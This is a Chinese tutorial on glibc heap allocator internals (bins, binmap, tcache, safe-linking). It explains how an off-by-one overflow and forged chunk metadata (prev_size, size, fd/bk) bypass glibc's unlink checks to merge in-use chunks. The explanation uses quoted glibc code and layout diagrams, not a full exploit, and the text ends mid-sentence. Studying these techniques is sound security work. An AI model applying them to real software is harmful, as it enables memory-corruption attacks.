到chunk 3
数据区的偏移值,至于fd
和bk
则需要写成chunk 1
的起始地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 | | AAAA ...... | | mchunk_size 2 | - > overflow '\0' | chunk2 to chunk3_data offset | - > mchunk_prev_size 2 | ....... | - > chunk 1 data end | addr_a, addr_a | - > chunk 1 data start | mchunk_size 1 | | mchunk_prev_size 1 | - > chunk 1 start | chunk ...... | - > other chunks | ....... | - > chunk 3 data end | chunk1_addr, chunk1_addr | - > fake fd && bk | prev_size, size | - > chunk 3 data start = addr_a | chunk2 to chunk3_data offset | - > mchunk_size 1 | mchunk_prev_size 1 | - > chunk 3 start |
当chunk 2
释放时,GLibC的_int_free_merge_chunk
函数检测的chunk 2
的mchunk_size
中的P位为0,这时会开始向后合并。
通过前面利用chunk 1
写入chunk 2
的mchunk_prev_size
值后,我们可以让指针到达chunk 3
的数据区,这时GLibC获取chunk 3
的大小时,使用我们在数据区上构造的size
,chunk 2
的mchunk_prev_size
和chunk 3
的size
都是被我们恶意构造的,所以它们的大小当然一样,GLibC的检查自然也不会发现问题。
当GLibC进入unlink_chunk
函数后会对链表指针进行检查,这时GLibC会发现fd
和bk
均为chunk 1
的起始地址。
再进行if (fd->bk != p || bk->fd != p)
检查时就会发现,由于chunk 1
的fd
和bk
上的数据有被我们写入成了指向chunk 3
数据区的地址addr_a
,所以GLibC就不会发现错误。
如果你不给自己找麻烦的话,就应该控制向后合并时chunk的大小在small chunk
的范围内,避免针对large bin
链表的检查被触发。
1 2 3 4 5 6 7 8 | p = addr_a mchunkptr fd = p - >fd; / / fd = chunk1_addr mchunkptr bk = p - >bk; / / bk = chunk1_addr / / fd - >bk = addr_a, bk - >fd = addr_a if (__builtin_expect (fd - >bk ! = p || bk - >fd ! = p, 0 )) malloc_printerr ( "corrupted double-linked list" ); if (!in_smallbin_range (chunksize_nomask (p)) && p - >fd_nextsize ! = NULL) ...... |
到这里我们就完成了恶意向后合并未释放chunk的流程,不过在这个流程中我们需要的已知信息是比较多的,主要包括chunk的地址以及它们之间的偏移值。
在GLibC的堆结构中,有一个很重要的成员混用问题,它就是malloc_chunk
结构体的fdxx
和bkxx
在使用与空闲阶段的管理定义上。
fdxx
和bkxx
使用时与数据区合并,只在空闲时发挥成员原本定义中的作用。
在GlibC的预期中,chunk只要被释放fdxx
和bkxx
都会被重新赋值,这样看似没有问题的管理,真的不会带来问题吗?
首先chunk释放时,fdxx
和bkxx
肯定不会直接使用chunk上的数据,它一定会被GLibC换成一个与链表相配的指针。
那chunk取出时呢,首先fdxx
和bkxx
指针会继续留在那里,不会被清理掉,这个时候当然会有地址泄露的风险。
不过这个风险存不存在,先要看看于GLibC的版本的脸色,在2.32版本之前,地址被泄露后可以直接拿来利用。
但2.32之后,部分类型链表中的地址会被PROTECT_PTR
随机化。
与地址随机化相关的两个宏放在了下方。
1 2 3 | #define PROTECT_PTR(pos, ptr) \ ((__typeof (ptr)) ((((size_t) pos) >> 12 ) ^ ((size_t) ptr))) #define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr) |
PROTECT_PTR
负责加密,REVEAL_PTR
负责解密,仔细观察会发现,这个加解密的过程稍微用了点技巧。
首先PROTECT_PTR
接受两个参数,第一个参数pos
的低12个比特位会被移走,然后跟待加密地址ptr
进行异或运算,ptr
有效地址的高12比特位会被保留下来,但剩余的低36比特位则会随异或运算发生变化。
但随机化后的地址的又是怎么还原的呢?
REVEAL_PTR
只接受被解密地址ptr
作为参数,然后找到存放ptr
的地址,将地址右移12比特位后,再跟已被随机化的数据进行异或运算后,就完成了信息的还原。
看到了这里你应该意识到了一个事情,在异或运算过程中,比特位的数值相同时会产生0,反之则会产生1,如果PROTECT_PTR
的pos
和REVEAL_PTR
的&ptr
数值一样,那么ptr
被随机化时,ptr
的低36个比特位中与pos
相同的部分会变成0,不相同的部分则变成1,当被随机化的ptr
还原时,比特位上的数值会再翻转回来。
PROTECT_PTR
和REVEAL_PTR
设置了一个默认的规矩,那就是PROTECT_PTR
的pos
需要传递ptr
所在的内存地址,当ptr
放进pos
之后,REVEAL_PTR
就可以直接使用&ptr
获取随机化时使用的密钥。
PROTECT_PTR
和REVEAL_PTR
的使用场景有限,只会在tcache
和fastbins
的场景下才会被使用。如果chunk在释放时进入bins
数组中的链表,就不用担心地址随机化的问题。
在非fast chunk
且非mmap分配的chunk进入_int_free
函数开始释放时,最终会进入_int_free_create_chunk
内部,该函数会将空闲chunk放入链表中。
如果空闲chunk的相邻高位chunk不是top chunk
,那就会进入bins
链表。
尽管链表的类型有很多,但加入的链表类型缺不是经过慎重选择的,而是GlibC直接选择的unsorted chunk
。
1 2 3 4 5 6 | #define unsorted_chunks(M) (bin_at (M, 1)) _int_free - > _int_free_merge_chunk - > _int_free_create_chunk - > mchunkptr bck = unsorted_chunks (av); |
空闲chunk在链表中的迁移源自于分配操作给出的压力。
在程序发出堆内存分配申请后,程序会进入_int_malloc
函数,该函数会先判断申请大小是否符合fast bin
的要求。
大小符合fast bin
要求且fastbinsY[idx]
不为空链表时,就返回空闲chunk。
如果大小不符合,或者fastbinsY[idx]
链表为空时,那就会继续向下走,寻找其他可用chunk。
1 2 3 4 5 6 7 | _int_malloc - > if (nb < = get_max_fast()) - > mfastbinptr * fb = &fastbin (av, idx); - > victim = * fb; - > if (victim ! = NULL) - > ...... - > return p; |
找完fast bin
后,会继续找small bin
,逻辑与上面大致相同,先判断大小是否符合,再判断链表是否为空,大小匹配且链表不为空,就会取出chunk返回给程序使用,反之则继续进行查找chunk。
1 2 3 4 5 6 7 | _int_malloc - > if (in_smallbin_range (nb)) - > idx = smallbin_index (nb); - > bin = bin_at (av, idx); - > if ((victim = last ( bin )) ! = bin ) - > ...... - > return p; |
如果small bin
也不符合要求,就会进入large bin
查找。
此次查找的逻辑稍有不同,主要体现在查找需求上,此时申请内存的大小不仅仅只是有符合large chunk
大小的,fast chunk
和small chunk
也都是有可能的。
GLibC第一步做的是取出申请大小在large bin
中对应的索引值,然后判断arena信息中的have_fastchunks
是否为真。
为真就说明fastbinsY
中存在不为空的链表,并通过malloc_consolidate
函数将fast bin
链表中的chunk合并到unsorted bin
链表或top chunk
中。
1 2 3 4 5 6 7 | _int_malloc - > if (in_smallbin_range (nb)) - > ...... - > else - > idx = largebin_index (nb); - > if (atomic_load_relaxed (&av - >have_fastchunks)) - > malloc_consolidate (av); |
上面找到的large bin
链表的索引值idx
并不会立即使用,接下来会进入一个较为复杂的处理逻辑当中。
在GLibC的逻辑中,bins数组中第一步是遍历unsorted bin
链表,只要链表不为空,就会持续在unsorted bin
链表中查找,直到匹配到合适的chunk就会返回,或者当整个链表遍历完后仍找不到合适的chunk,则会继续向下进行。
if (in_smallbin_range (nb) && bck == unsorted_chunk ...
是第一个匹配条件,它要求chunk在samll bin
的范围内,而且unsorted bin
链表中只有一个空闲chunk,并且这个chunk的大小是超过申请大小的。
除了上面的要求之外,还有一个特别的要求victim == av->last_remainder
,这个要求指的是chunk必须是最近切割过的chunk。
将这个筛选要求放在第一的原因并不复杂,那就是尽可能的避免内存碎片化,让申请较小内存的请求可以拿到连续的内存区域。
1 2 3 4 5 6 7 | #define unsorted_chunks(M) (bin_at (M, 1)) _int_malloc - > for (;;) - > while ((victim = unsorted_chunks (av) - >bk) ! = unsorted_chunks (av)) - > if (in_smallbin_range (nb) && bck = = unsorted_chunks (av) && victim = = av - >last_remainder && (unsigned long ) (size) > (unsigned long ) (nb + MINSIZE)) - > ...... |
发现不符合上面的要求后,_int_malloc
会继续向下查找。
不过这个时候_int_malloc
做个一个奇怪的操作,那就是将unsorted bin
链表中当前使用chunk从链表中拿出来。
难道在这个时候,GlibC就预测到这个chunk一定会被取出吗?
取出chunk后,_int_malloc
会针对unsorted bin
进行第二段匹配操作,这里匹配的要求相对简单,只要chunk大小和申请大小一致就会返回。
1 2 3 4 5 6 7 | _int_malloc - > for (;;) - > while (...) - > unsorted_chunks (av) - >bk = bck; - > bck - >fd = unsorted_chunks (av); - > if (size = = nb) - > ...... |
接下来,_int_malloc
会迎来针对unsorted bin
的最后一段操作,这也是本阶段中最奇妙的操作。
首先呢,会判断unsorted bin
链表中当前chunk的大小,这里是跟small bin
以及large bin
进行比较,难道它们直接要产生什么联系了吗?
不管是small bin
还是large bin
,它们都有一个极为相似的起手操作。
这个动作就是,获得正在用于匹配的victim
其大小在unsorted bin
链表中的索引值,然后根据索引值通过bin_at
获得链表尾。
在这里取出chunk时为了尽可能的取出位于CPU缓存上的数据,所以这里会将fd
链表头取出到fwd
中,fd
链表头是最晚入链的chunk。
1 2 3 4 5 6 7 8 9 10 11 12 | _int_malloc - > for (;;) - > while (...) - > ...... - > if (in_smallbin_range (size)) - > victim_index = smallbin_index (size); - > bck = bin_at (av, victim_index); - > fwd = bck - >fd; - > else - > victim_index = largebin_index (size); - > bck = bin_at (av, victim_index); - > fwd = bck - >fd; |
接下来,small bin
和large bin
的操作会发生一些分歧,这里的分歧指的是进入large bin
分支之后,该分支额外进行的操作。
首先它会判large bin
链表中是不是空链表。
bck
为&bins[(i-1)*2]-offset(fd)
,fwd
指向bins[(i-1)*2]
,如果它们相等就代表bins[(i-1)*2]
上仍是初始值,未被插入过chunk,因此链表为空。
1 2 3 4 | if (fwd ! = bck) - > ...... else - > ...... |
首先呢,GlibC会检查,victim
的大小size
是否小于最早入链的chunk。
你应该还记得,bins数组中有好多对链表,每对链表都有fd
和bk
两个链表,其中链表fd
的规则是LIFO,而bk
链表则是FIFO,它们共同组成双向循环链表。
其中bins[(i - 1) * 2]
存放fd
链表的头成员,bins[(i - 1) * 2 + 1]
存储bk
链表的头成员,fd
链表的头成员是最晚入链的chunk,bk
链表的头成员是最早入链的chunk。
1 | if ((size) < chunksize_nomask (bck - >bk)) |
a. 当待入链的victim
比最早入链chunk小的时候,会将最晚入链的fwd
重新赋值成链表尾,然后再更新fd_nextsize
和bk_nextsize
。
其中victim
的fd_nextsize
指向最晚入链chunk,bk_nextsize
则指向最晚入链chunk的bk_nextsize
。
因为即将有更小的victim将要入链,所以会将最晚入链chunk的bk_nextsize
以及另一个不同大小chunk的fd_nextsize
更新成victim
。
fd_nextsize
和bk_nextsize
是专门为large bin
而设的,它们与fd
和bk
不同,fd
和bk
维护的是相同大小组成的chunk,xx_nextsize
则维护同一链表中但大小不相同的chunk。
之所以说xx_nextsize
是为large bin
而设的,是因为同一链表中维护大小不相同的chunk这种情况,只有large bin
链表才具备。
最后,victim
作为新的最晚入链chunk,GLibC会让bk
指向最早入链的bck
,而fd
指向链表尾fwd
,再更新fwd
的bk
以及bck
的fd
更新为victim
,目的是完成victim
插入链表的操作。
你可能会好奇,fwd->bk
应该是等价于bins[(i - 1) * 2 + 1]
的,也就是等价于链表bk
的头成员,在这里victim
并非是最早入链的chunk,有什么要更新呢?
这是因为bk
链表的FIFO原则需要为按大小排序的原则让步。
1 2 3 4 5 6 7 8 9 10 11 12 13 | if ((size) < chunksize_nomask (bck - >bk)) { fwd = bck; bck = bck - >bk; victim - >fd_nextsize = fwd - >fd; victim - >bk_nextsize = fwd - >fd - >bk_nextsize; fwd - >fd - >bk_nextsize = victim - >bk_nextsize - >fd_nextsize = victim; } victim - >bk = bck; victim - >fd = fwd; fwd - >bk = victim; bck - >fd = victim; |
b. 当victim
大于等于最早入链的chunk时,GLibC会遍历fd_nextsize
链表。
1 2 3 4 | if ((size) < chunksize_nomask (bck - >bk)) else - > while (size < chunksize_nomask (fwd)) - > fwd = fwd - >fd_nextsize; |
遍历fd_nextsize
链表是为了找到一个比victim
大或相等的chunk。
当大小相等时,就拿出当前chunk的前一个chunk,后面victim
插入链表时,自己作为最晚入链的chunk,bk
当然指向链表尾,fd
继承旧chunk的前一个chunk,它被设置成fwd->fd
,最后建立fwd->fd
和victim
的联系完成插入动作。
1 2 3 4 5 6 7 8 9 10 11 12 | if ((size) < chunksize_nomask (bck - >bk)) else - > while (size < chunksize_nomask (fwd)) - > fwd = fwd - >fd_nextsize; - > if (size = = chunksize_nomask (fwd)) - > fwd = fwd - >fd; - > bck = fwd - >bk; victim - >bk = bck; victim - >fd = fwd; fwd - >bk = victim; bck - >fd = victim; |
如果是大于的话,就会先将victim
插入xx_nextsize
维护的链表当中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | bck = bin_at (av, victim_index); if ((size) < chunksize_nomask (bck - >bk)) else - > while (size < chunksize_nomask (fwd)) - > fwd = fwd - >fd_nextsize; - > if (size = = chunksize_nomask (fwd)) - > fwd = fwd - >fd; - > else - > victim - >fd_nextsize = fwd; - > victim - >bk_nextsize = fwd - >bk_nextsize; - > fwd - >bk_nextsize = victim; - > victim - >bk_nextsize - >fd_nextsize = victim; - > bck = fwd - >bk; victim - >bk = bck; victim - >fd = fwd; fwd - >bk = victim; bck - >fd = victim; |
victim
插入链表。因为链表中没有其他的chunk,所以xx_nextsize
只能更新成victim
的地址。
1 2 3 4 5 6 7 8 9 | - > if (fwd ! = bck) - > ...... - > else - > victim - >fd_nextsize = victim - >bk_nextsize = victim; victim - >bk = bck; victim - >fd = fwd; fwd - >bk = victim; bck - >fd = victim; |
在这里,不管victim
是属于small chunk
还是large chunk
,它都会被移除链表unsorted bin
中,转移到small bin
或large bin
内。
经过前面的操作后,fast chunk
、small chunk
以及unsorted chunk
都有了被使用的机会,但large bin
呢?
有的,兄弟,肯定有的。
到这个时候没有匹配到的话,GLibC会针对large bin
链表进行匹配。
首先做的自然还是判断大小,只要不属于small bin
那就是large bin
了。
1 | if (!in_smallbin_range (nb)) |
此时GLibC会继续判断链表是否为空以及fd
链表头的chunk大小是否超过申请大小。
1 2 | - > bin = bin_at (av, idx); - > if ((victim = first ( bin )) ! = bin && (unsigned long ) chunksize_nomask (victim) > = (unsigned long ) (nb)) |
当链表不为空且最晚入链chunk超过申请大小时,GLibC会先针对bk_nextsize
链表进行遍历,目的是找到一个最接近申请大小且大于申请大小的chunk。
1 2 | while (((unsigned long ) (size = chunksize (victim)) < (unsigned long ) (nb))) - > victim = victim - >bk_nextsize; |
找到符合的chunk后,GLibC会判断当前chunk是不是最早入链,且链表中存在与当前chunk大小相同的chunk,如果是就让当前chunk变成victim->fd
。
这么做是为了避免移除最早入链chunk后,需要再次维护链表信息。
1 2 | if (victim ! = last ( bin ) && chunksize_nomask (victim) = = chunksize_nomask (victim - >fd)) victim = victim - >fd; |
拿到可用的victim
后,GlibC会对victim
进行切割,并将切割后的剩余大小保存在remainder_size
中。
然后通过unlink_chunk
将victim
从large bin
链表中移出来。
1 2 | remainder_size = size - nb; unlink_chunk (av, victim); |
最后会判断remainder_size
的大小,当remainder_size
小于MINSIZE
时,说明切割后的大小不满足最小尺寸的要求,此时就不会切割。
然后直接使用chunk的原大小size
偏移到高地址chunk,目的是告诉上一个chunk,当前chunk已经被使用了。
如果切割后的大小满足最小尺寸的要求,那就好将切割后的部分remainder
放入链表unsorted bin
当中(这里通过申请大小nd
偏移到被切割的chunk)。
处理好切割部分后,就将可用的chunk返回,交给程序进行使用。
1 2 3 4 5 6 7 8 9 10 11 | if (remainder_size < MINSIZE) - > set_inuse_bit_at_offset (victim, size); else - > remainder = chunk_at_offset (victim, nb); - > bck = unsorted_chunks (av); - > fwd = bck - >fd; - > remainder - >bk = bck; - > remainder - >fd = fwd; - > bck - >fd = remainder; - > fwd - >bk = remainder; return p; |
假如large bins
提供的chunk还没有被命中怎么办呢?
不要担心,GLibC自又办法处理,接下来GlibC会用到struct malloc_state
结构体的binmap成员。
binmap是什么呢,首先它结构体中的定义可以知道,它是一个容量为4的数组,数组中记录着bins数组中的链表是否为空,用于辅助GLibC遍历链表。
1 2 3 4 5 6 7 8 9 | #define BINMAPSHIFT 5 #define BITSPERMAP (1U << BINMAPSHIFT) #define BINMAPSIZE (NBINS / BITSPERMAP) struct malloc_state { ...... unsigned int binmap[BINMAPSIZE]; ...... } |
下面是几个关于binmap的宏定义信息,这些宏揭示了binmap是如何辅助遍历的。
1 2 3 4 5 6 | #define BINMAPSHIFT 5 #define idx2block(i) ((i) >> BINMAPSHIFT) #define idx2bit(i) ((1U << ((i) & ((1U << BINMAPSHIFT) - 1)))) #define mark_bin(m, i) ((m)->binmap[idx2block (i)] |= idx2bit (i)) #define unmark_bin(m, i) ((m)->binmap[idx2block (i)] &= ~(idx2bit (i))) #define get_binmap(m, i) ((m)->binmap[idx2block (i)] & idx2bit (i)) |
bins[NBINS * 2 - 2]
数组的容量是254 128 * 2 - 2
,其中0到1的位置会留给unsorted bin
使用,从下标126 = (64 - 1) * 2
开始是large bin
链表,下标2到下标125的空间是small bin
链表。
1 2 3 | bin_at(M, 1 ) - > unsorted bin bin_at(M, 2 ) - bin_at(M, 63 ) - > small bin bin_at(M, 64 ) - bin_at(M, 127 ) - > large bin |
binmap一共有BINMAPSIZE
元素,BINMAPSIZE
一般为4,binmap将NBINS
按照BITSPERMAP
划分成4个block,每个block一般占有32 = 1 << 5
个比特。
在GLibC的概念中,每个block都对应一个map,每个map都对应着32个链表。
在bin_at
宏的眼中,一共有127个链表,idx2block
宏可以将bin_at
宏的索引值转换为binmap的block,通过block可以在bimap中找到map。
idx2block
宏将bin_at
宏使用的索引值右移5位,因为索引值最大就是127,其二进制格式为0111 1111
,右移后刚好是block的最大值3,其余的数值右移会分别对应2,1,0。
对于map来讲,它里面存放着32个链表的标志位,标志位存在则代表链表不为空。
标志位的赋值只在unsorted bin
中的chunk迁移到small bin
或large bin
时发生,mark_bin
宏会设置binmap[block]
中map的标志位。
可以通过get_binmap
比较标志位,判断特定链表是否为空。
unmark_bin
宏则是可以清除map中的比特位。
1 2 3 | _init_malloc - > while ((victim = unsorted_chunks (av) - >bk) ! = unsorted_chunks (av)) - > mark_bin (av, victim_index); |
map中特定链表的比特位是通过idx2bit
宏计算的。
binmap被定义成了unsigned int
,unsigned int
一般占用32个比特位,刚好可以对应map管理的32个链表。
idx2bit
宏先设置一个低5个比特位全是1的数值,然后跟bin_at
宏使用的索引值进行与运算,相当于除了第5个比特位全部消去,第5个比特位视情况保留。
最后将1根据上方计算得到的数值左移,得到一个二进制格式为1000...
的数值A,那么任何数值跟A进行或运算,都会设置比特0到比特31中的某比特位1,至于&= ~
那就是情况比特位了。
GLibC运行到这里时,就说明根据申请大小匹配的chunk无法满足使用要求,这里需要查找含有更大chunk的链表。
所以这里第一步就是将bin_at
宏的索引值加1,让bin_at
宏找到含有chunk更大一级的链表。
1 2 3 4 5 | + + idx; bin = bin_at (av, idx); block = idx2block (idx); map = av - >binmap[block]; bit = idx2bit (idx); |
在此之后,GLibC就会进入循环当中不断遍历。
1 | for (;;) |
前面根据当前链表索引值idx
拿到了对应的比特位,这里如果判断bit
大于map
时,就说明前面mark_bin
一定没有给idx
对应的链表进行设置,也就代表链表中没有chunk进入,仍还是空链表。
这个判断一旦成立,当前block区域肯定是没有链表可用了。
那么接下来就会遍历binmap,如果所有map的数值都为0,就代表所有map中的链表都没有chunk插入进来过,这时会直接跳转到use_top
,开始使用top chunk
。
要是找到了链表不都为空的map,就会把map中最小的链表取出来。
这里的遍历并不会从0开始,因为查找存放比当前链表更小的map并没有意义,所以这里会累加block,查找拥有更大chunk链表的map。
1 2 3 4 5 6 7 8 9 10 11 12 | if (bit > map || bit = = 0 ) { do { if ( + + block > = BINMAPSIZE) goto use_top; } while (( map = av - >binmap[block]) = = 0 ); bin = bin_at (av, (block << BINMAPSHIFT)); bit = 1 ; } |
上面之所以使用最小的链表,是因为GLibC准备遍历整个map,直到找到合适的链表。
1 2 3 4 5 6 | while ((bit & map ) = = 0 ) { bin = next_bin ( bin ); bit << = 1 ; assert (bit ! = 0 ); } |
找到合适的链表后,会检查链表是否为空。
当victim
等于bin
时就代表链表为空,这时会清楚map中的比特位,然后开始下一次的遍历。
1 2 3 4 5 6 7 | victim = last ( bin ); if (victim = = bin ) { av - >binmap[block] = map & = ~bit; / * Write through * / bin = next_bin ( bin ); bit << = 1 ; } |
当链表不为空时,会进入一段极为眼熟的流程。
是的,这个流程在上面large bin
匹配时看到过,那就是分割chunk,如果分割后的chunk大小小于最小尺寸要求,那就是不分割chunk,并将chunk返回给程序使用。
反之,则将剩余的chunk插入unsorted bin
链表中,返回与申请内存大小想匹配的chunk给程序使用。
1 2 3 4 5 6 7 8 9 | if (victim = = bin ) { ...... } else { size = chunksize (victim); remainder_size = size - nb; unlink_chunk (av, victim); if (remainder_size < MINSIZE) { ...... } else { ...... } } |
在上面遍历binmao的流程当中,你可能会有几点疑问。
要是还没有合适的chunk又该怎么办!
答案就是使用top chunk
。
1 2 | victim = av - >top; size = chunksize (victim); |
针对top chunk
的使用,需要分成三种情况来谈。
情况一,是top chunk
的大小比申请内存大小大,那就会切割top chunk
,然后返回chunk给程序使用。
情况二,是发现arena中有fast chunk
,这时会通过malloc_consolidate
函数将fast bin
链表中的chunk合并到unsorted bin
链表或top chunk
中,然后进入到下一次循环中。
情况三,是top chunk
既不够用,而且又没有空闲的fast chunk
可以合并,那么GLibC就会让sysmalloc
通过brk
机制扩展top chunk
,最后返回给程序。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | if ((unsigned long ) (size) > = (unsigned long ) (nb + MINSIZE)) { remainder_size = size - nb; remainder = chunk_at_offset (victim, nb); av - >top = remainder; void * p = chunk2mem (victim); return p; } else if (atomic_load_relaxed (&av - >have_fastchunks)) { malloc_consolidate (av); if (in_smallbin_range (nb)) idx = smallbin_index (nb); else idx = largebin_index (nb); } else { void * p = sysmalloc (nb, av); if (p ! = NULL) alloc_perturb (p, bytes); return p; } |
当你使用的GLibC版本比较高时,会发现malloc
代码中经使用USE_TCACHE
宏进行条件编译。
1 2 3 | #if USE_TCACHE ...... #endif |
USE_TCACHE
宏在高版本的GLibC是默认会定义的,这是高版本的GLibC中默认启用了tcache机制,而USE_TCACHE
宏范围中代码就是tcache机制需要的代码。
tcache是一种缓存机制,为每个线程都提供一种快速存取chunk的途径。
在GLibC的代码中,tcache作为一个全局变量存在。
tcache允许存放TCACHE_MAX_BINS
个不同大小的链表,而且每个类型的链表中最多只能存在TCACHE_FILL_COUNT
个chunk。
tcache_perthread_struct
中的entries
记录着链表信息,而counts
则负责记录链表中存放的chunk数量。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | #define TCACHE_MAX_BINS 64 #define TCACHE_FILL_COUNT 7 #define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT) static struct malloc_par mp_ = { ...... .tcache_count = TCACHE_FILL_COUNT, ...... } typedef struct tcache_entry { struct tcache_entry * next ; uintptr_t key; } tcache_entry; typedef struct tcache_perthread_struct { uint16_t counts[TCACHE_MAX_BINS]; tcache_entry * entries[TCACHE_MAX_BINS]; } tcache_perthread_struct; static __thread tcache_perthread_struct * tcache = NULL; |
在堆内存释放时,tcache被放入空闲chunk的优先级是最高的。
只要tcache机制启用,且tcache还没有被填满,就会使用tcache_put
接口将控线的chunk填入tcache内。
1 2 3 4 5 6 7 8 9 10 11 12 | _int_free - > size = chunksize (p); - > #if USE_TCACHE - > size_t tc_idx = csize2tidx (size); - > tcache_entry * e = (tcache_entry * ) chunk2mem (p); - > if (tcache - >counts[tc_idx] < mp_.tcache_count) - > tcache_put (p, tc_idx); - > return ; - > #endif - > if ((size) < = (get_max_fast ())) { ...... } - > else if (!chunk_is_mmapped(p)) { ...... } - > else { ...... } |
在堆内存申请时,情况会变得复杂一些。
首先是tcache机制针对fast bin
链表和small bin
链表的设置,当申请内存的大小符合fast chunk
或small chunk
的要求时,GLibC会进入链表获取chunk,在这个时候,只有tcache机制启用就会遍历链表,并将链表中的chunk移到tcache中,直到tcache被填满。
其次是tcache机制针对unsorted bin
链表的设置,在遍历unsorted bin
链表时,找到与申请大小一样的chunk时,只要tcache机制开启,就不会立即将它返回给程序使用,而是优先填充到tcache中,直到tcache被填满。
当GLibC结束unsorted bin
链表的遍历后,或者发现向tcache中填充的chunk数量已经超过了tcache_unsorted_limit
,那就会从tcache中取出chunk返回。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | _int_malloc - > size_t tc_idx = csize2tidx (nb); - > if ((nb) < = (get_max_fast ())) if (tcache ! = NULL && tc_idx < mp_.tcache_bins) - > while (tcache - >counts[tc_idx] < mp_.tcache_count && (tc_victim = * fb) ! = NULL) - > * fb = REVEAL_PTR (tc_victim - >fd); - > tcache_put (tc_victim, tc_idx); - > if (in_smallbin_range (nb)) - > if (tcache ! = NULL && tc_idx < mp_.tcache_bins) - > while (tcache - >counts[tc_idx] < mp_.tcache_count && (tc_victim = last ( bin )) ! = bin ) - > bck = tc_victim - >bk; - > bin - >bk = bck; - > bck - >fd = bin ; - > tcache_put (tc_victim, tc_idx); - > for (;;) - > while ((victim = unsorted_chunks (av) - >bk) ! = unsorted_chunks (av)) - > if (size = = nb) - > if (tcache_nb > 0 && tcache - >counts[tc_idx] < mp_.tcache_count) - > tcache_put (victim, tc_idx); - > continue - > else - > void * p = chunk2mem (victim); - > return p; - > if (return_cached && mp_.tcache_unsorted_limit > 0 && tcache_unsorted_count > mp_.tcache_unsorted_limit) - > return tcache_get (tc_idx); - > if (return_cached) - > return tcache_get (tc_idx); |
所以chunk的迁移总共可以分成四种情况。
情况一,是unsorted bin
链表中的chunk匹配不上时,会将链表中的空闲chunk迁移到small bin
或large bin
中。
情况二,在获取large bin
索引值或使用top chunk
阶段,针对fast chunk
进行的合并操作,fast chunk
会进入unsroted bin
链表或top chunk
中。
和top chunk
相邻时,进入top chunk
,反之则进入unsroted bin
链表。
情况三,是large bin
链表匹配或binmap匹配时,针对现有chunk的切割,当被切割的chunk超出最小尺寸要求时,会将剩余的chunk插入unsroted bin
链表。
情况四,是分配阶段进入fast bin
、small bin
或unsorted bin
时,会将链表中的chunk压入tcache内。
对于fast bin
链表和small bin
链表来讲,只要tcache没有被填满且链表还没有被清空,就会一直向tcache中填充。
对于unsorted bin
链表来讲,在链表中空闲chunk与申请内存大小一致的情况下,会优先填充tcache,直到链表为空或tcache被填满才会停止。
这个时候不会直接返回chunk给程序使用,除非完成unsorted bin
链表的遍历,或者发现填充tcache的数量已经超过tcache_unsorted_limit
时,才会通过tcache获取接口tcache_get
获取chunk,并返回给程序使用。
现在的情况是这样的,准备一个堆内存的OffByOne
场景并不难。
程序向GLIbC申请内存大小的格式n * MALLOC_ALIGNMENT + SIZE_SZ
。
负责读取数据并写入chunk的函数通过程序申请大小判断长度,且会在数据结束处自动添加\0
作为结束符。
因为GLibC的坑爹特性,程序拿到chunk大小是(n + 1) * MALLOC_ALIGNMENT
。
而且chunk的大小(n + 1) * MALLOC_ALIGNMENT
还要再减去2 * SIZE_SZ
,留给malloc_chunk
结构体的mchunk_prev_size
和mchunk_size
使用。
由于MALLOC_ALIGNMENT
一般均为2 * SIZE_SZ
,所以程序的实际可用内存大小就变成了n * MALLOC_ALIGNMENT
。
这个大小可是要比申请大小n * MALLOC_ALIGNMENT + SIZE_SZ
还要小的。
如果你想要申请到完全放心的内存大小,那就应该保证申请大小A通过下方公式产生的结果q是大于SIZE_SZ
的,或者q等于0。
1 | A % MALLOC_ALIGNMENT = q |
当读取函数通过申请大小n * MALLOC_ALIGNMENT + SIZE_SZ
大小作为判断写入数据的长度条件时,就会导致缓冲区变量溢出SIZE_SZ
字节。
再加上读取函数将数据看作是字符串,默认在字符串数据的后面添加\0
字符,就会导致SIZE_SZ + 1
字节的溢出。
当溢出数据覆盖到相邻chunk的mchunk_prev_size
和mchunk_size
成员是时,堆内存的OffByOne
场景就这么诞生了。
前面已经有过分析,触发OffByOne
场景后,想要绕过检查可谓是难如登天。
但是chunk释放时留下的数据好像又给了我们可以利用的空间。
对于unsorted bin
、small bin
来讲,当chunk被释放进入链表后,fd
和bk
的位置会被填充,tcache与之相仿,它也有0x10的空间会被填充,这是因为chunk进入tcache时,会设置next
和key
两个成员。
1 2 3 4 5 | typedef struct tcache_entry { struct tcache_entry * next ; uintptr_t key; } tcache_entry; |
large bin
链表是覆写范围最大的,当chunk被释放进入large bin
链表之后,结构体malloc_chunk
中的fdxx
和bkxx
都会被覆写。
其中fd_nextsize
和bk_nextsize
上的数值一定会是chunk的真实地址,而fd
和bk
上可能是通过bin_at(M, x)
拿到的属于GLibC的地址,也可能是chunk的真实内存地址。
fast bin
链表是覆写范围最小的,因为它只会覆盖fd
一个区域。
这些数据有一个好处,就是当chunk再被取出时,这些内存地址数据不会再被覆写。
在检查绕过的另外一种思路
小节中,说过一种在已知chunk的内存地址与chunk间偏移值前提下,构造恶意数据,让向后合并流程合并未释放chunk的方法。
那么这里能不能在不清楚知道内存地址的情况下,通过chunk释放留下的内存地址,完成向后合并所需要的内存布局呢?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | | chunk A | | prev_2, size_2 ( '\0' ) | | 1 | chunkA_address - prev_2 = fake_chunk_address | | - - - - - - - - - - - - - - - - - - | | | fake chunk |< - - - - | 2 | prev_1, size_1 | - - - - - - - - - - - - - - - - - - - > if (size_1 = = prev_2) - > right | fd_1, bk_1 | - - - - - - - - - > if (fd - >bk = = p && bk - >fd = = p) - > right | | 3 | | | | bk_1 = help_chunk2_address | | - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - | | | | fd_1 = help_chunk1_address | | help chunk 1 | | help chunk 2 | | bk_3 | | fd_3 | | | | - > bk_3 = fake_chunk_address | - > fd_3 = fake_chunk_address |
首先我们假设,现在程序还没有申请与释放任何的一个chunk。
针对OffByOne
场景触发unlink_chunk
的内存布局构造,有两大任务需要完成,一是chunk A
的mchunk_prev_size
与fake chunk
